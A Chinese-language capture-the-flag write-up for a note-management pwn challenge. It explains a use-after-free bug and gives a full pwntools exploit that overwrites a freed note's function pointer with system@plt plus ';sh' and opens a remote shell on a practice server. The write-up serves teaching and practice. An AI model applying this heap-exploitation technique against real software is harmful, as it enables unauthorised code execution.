查看程序保护:
IDA分析程序,可以发现程序存在UAF漏洞:
只要使某一个Node的数据区域和已经free的Node的12个字节相重合,就可以修改函数地址.
只需要这样构造即可:
释放掉Node1,Node0,然后add一个 content为12字节的Node.就可以修改Node1的前12个字节.
1.可以修改Note1的前四个字节为 ‘sh\x00\x00’,后四个改为system.plt
2.可以修改Node1前四个字节为system.plt 的下一条指令地址(直接jmp由于该指令的地址低字节为0,system会截断.下一条指令会重新解析system地址,也是可以正常执行system函数的)
p32(system.plt 下一条指令地址) + ‘;sh\x00’
之后利用dump函数或者del就可以getshell了
exp:
from pwn import *
#sh = process('./pwn')
sh = remote('node4.buuoj.cn',28511)
def add(idx,value_type,content,length):
sh.sendlineafter(b'CNote',b'1')
sh.sendlineafter(b'Index',str(idx).encode())
sh.sendlineafter(b'type:',str(value_type).encode())
if value_type == 1:
#整数
sh.sendlineafter(b'1',str(content).encode())
else:
sh.sendlineafter(b'Length',str(length).encode())
sh.sendlineafter(b'Value > ',content)
sh.recvuntil(b'Okey, ')
def delnote(idx):
sh.sendlineafter(b'CNote',b'2')
sh.sendlineafter(b'Index',str(idx).encode())
pass
def show(idx):
sh.sendlineafter(b'CNote',b'3')
sh.sendlineafter(b'Index',str(idx).encode())
add(0,2,'chunk0',16)
add(1,2,'chunk1',20)
#
delnote(1)
delnote(0)
#
payload = p32(0x8048506) + b';sh\x00'
#gdb.attach(sh)
add(2,2,payload,12)
#
show(1)
sh.interactive()